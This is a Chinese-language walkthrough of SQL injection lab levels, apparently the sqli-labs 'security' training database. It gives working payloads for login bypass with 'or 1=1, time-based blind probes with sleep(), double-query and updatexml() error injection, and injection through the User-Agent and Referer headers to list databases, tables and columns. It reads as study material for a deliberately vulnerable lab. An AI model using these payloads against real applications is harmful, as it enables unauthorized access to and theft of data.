尝试输入万能语句'or 1=1,尝试后发现为单引号闭合,登录成功
查看源码, 报错信息被注释,可以使用时间型或布尔型进行尝试
猜数据库,缩小范围,猜出库名为security
uname=1 passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #
uname=1 passwd=1' or If(ascii(substr(database(),2,1))=101,1,sleep(5))-- #
查看源码
使用万能语句:1") or 1=1 -- # 确认为带双引号的字符型注入。跟上一关一样,布尔型,时间型都可以使用。
猜数据库长度: uname=1 passwd=1") or if(length(database())=8,1,sleep(5))-- #
多次尝试后发现总是出现"已成功输入您的密码",查看源码,发现对user name进行了过滤。
check_input()
的作用是检查用户输入,并将用户输入安全化,其中mysql_real_escape_string()
会在\x00, \n, \r, \, ', " and \x1a
这些字符前加入反斜线进行转义,防止注入,同时也避免了宽字节注入。
尝试单引号闭合:
sql="select username, password from users where username= uname limit 0,1"; update="updata users set password = 'passwd' where username='row1'"
考虑到不能回显有意义的信息,用双注入查询 构造如下:
user name:
填admin
,而new password:
填' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#
使用updatexml()
注入:'and updatexml(1,concat('~',(select version())),1)#
获取版本信息
查数据库:'and updatexml(1,concat('~',(select database())),1)#
查表名:' and updatexml(1,concat('~',(select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),1)#
查列名:' and updatexml(1,concat('~',(select concat(column_name,';') from information_schema.columns where table_name='emails' limit 0,1)),1)#
进入后显示Your IP address is: xx.xx.xx.xx 尝试输入常用注释,只显示:
查看源码:
发现uname和passwd都被过滤
只有用户再登陆成功后才会显示用户的user agent
,并将uagent
, ip_address
, username
插入到了uagents
表中。
insert="insert into 'security'.'uagents'('uagnet','ip_address','username') values ('uagents','ip',uname)";并没有被进行过滤,可以从uagent
下手。
使用BurpSuite抓包,
修改User-Agent:
查数据库:
' and updatexml(1,concat('~',(select database())),1) and '1'='1
输入admin后只显示了个Referer
查看源码,使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译
输入正确的用户名密码:username=admin password=admin,之后使用Burp Suite抓包,修改referer。
获取所有数据库名:
1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name)from information_schema.schemata),1,31)),3) and '